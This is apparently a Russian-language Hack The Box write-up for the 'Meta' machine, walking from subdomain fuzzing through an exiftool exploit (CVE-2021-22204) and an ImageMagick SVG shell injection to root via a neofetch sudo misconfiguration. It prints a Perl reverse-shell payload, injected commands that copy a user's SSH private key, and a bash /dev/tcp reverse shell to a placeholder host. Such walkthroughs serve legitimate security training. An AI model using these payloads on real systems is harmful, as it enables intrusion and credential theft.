HTB::Meta::Explain
Глава 1 - artcorp.htb
Первым делом при переходе на IP-адрес машины(10.10.11.140) мы попадаем на сайт artcorp.htb. Однако сайт не открывается, и это даёт нам понять, что можно внести IP-адрес и доменное имя сайта в файл /etc/hosts, который связывает эти два адреса.
Вносим сайт в hosts - echo 10.10.11.140 artcorp.htb >> /etc/hosts
Доступ к сайту получен. Его содержимое не имеет в себе большой ценности, вследствие чего мы переходим к следующему этапу.
Глава 2 - Разведка
Пробуем найти на сайте другие директории. Наиболее оптимальный вариант - утилита ffuf. Используя словарь (https://bit.ly/3waCXZY), мы начинаем поиск:
ffuf -u http://artcorp.htb/ -w /path/to/wordlist -H "Host: FUZZ.artcorp.htb" -mc 200
В результате мы получаем ещё одну ссылку - dev01.artcorp.htb .
Глава 3 - первый эксплоит
Перейдя по ссылке, мы попадаем на страницу тестовых проектов artcorp.
Загружая картинку на этот сайт, он выдаёт нам её метаданные. Можно заметить сходство вывода сайта и утилиты exiftools. Это наталкивает на мысль о возможных эксплойтах этой программы. После поиска эксплойтов для этой утилиты мы узнаём про существование уязвимости CVE-2021-22204.
Минутка теории - Как работает данный эксплоит.
Данный эксплоит создаёт вредоносный payload через python, шифрованный в base64:
use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({port},inet_aton('{ip}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};
Далее через утилиту bzz, он сохраняет его в payload.bzz, после чего через djvumake, шифрует картинку в ассемблер, в которую проще внедрить код, а exiftool, в свою очередь создаёт склейку фотографии и вредоноса.
Глава 4 - Получение доступа к машине
После удачного запуска эксплоита, мы попадаем на машину.
Прав немного, а мы и не против. Переходим в папку uploads (т.к. в ней наши права почти не ограничены), создаём файл filename.svg . Почему *.svg? Потому что мы будем использовать уязвимость "ImageMagick - Shell injection via PDF password".
Используем данный вредоносный код:
<image authenticate='ff" `echo $(id)> /dev/shm/alt30`;"'> <read filename="pdf:/etc/passwd"/> <get width="base-width" height="base-height" /> <resize geometry="400x400" /> <write filename="test.png" /> <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="msl:poc.svg" height="100" width="100"/> </svg> </image>
После выполнения которого в папке /dev/shm/ появится файл alt30, в котором мы можем узнать, что нашего пользователя зовут thomas.
<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /dev/shm/id_rsa`;"'>
после чего мы также через ls -la можем прочитать файл id_rsa.
Глава 5 - Подключение по ssh
Итак, файл id_rsa используемый для подключения по ssh получен. При попытке подключиться к машине через файл, у нас будет ошибка, связанная с правами доступа. Нас интересует chmod 600. Прописываем, и заходим на тачку.
На пути к победе - User Own:
Мы зашли, но где же ключ? Осмотрись. ls -a покажет путь. Ответ лежит в user.txt.
На пути к победе - System Own:
Итак, лёгкие пути нас не волнуют!
Итак, прописываем команду sudo -l, что выводит список прав пользователя:
User thomas may run the following commands on meta: (root) NOPASSWD: /usr/bin/neofetch \"\"
Видим то, что есть возможность получить доступ к руту через neofetch. Переходим:
cd ~/.config/neofetch
Попадаем в папку с файлом config.conf, его мы должны отредактировать, а именно - вставить в самое начало команду для получения удалённого доступа через root. Вписываем:
/bin/bash -c "/bin/bash -i >& /dev/tcp/tunnel_ip/lport 0>&1"
Не забываем про экспорт конфига thomas`a:
export XDG_CONFIG_HOME="$HOME/.config"
Итак, начнём подключение через root. Сначала начнём слушать локальный порт на основной машине:
nc -nvlp lport
А далее, мы просто пропишем команду
sudo -u root /usr/bin/neofetch \"\"
И увидим, что на локальной машине, в прослушке порта, засветился доступ к тачке через root-пользователя. А далее всё просто.
Вписываем команду для перехода в директорию root`a:
cd /root
И просмотрев все файлы рядом, увидим - root.txt уже здесь! Читаем:
cat root.txt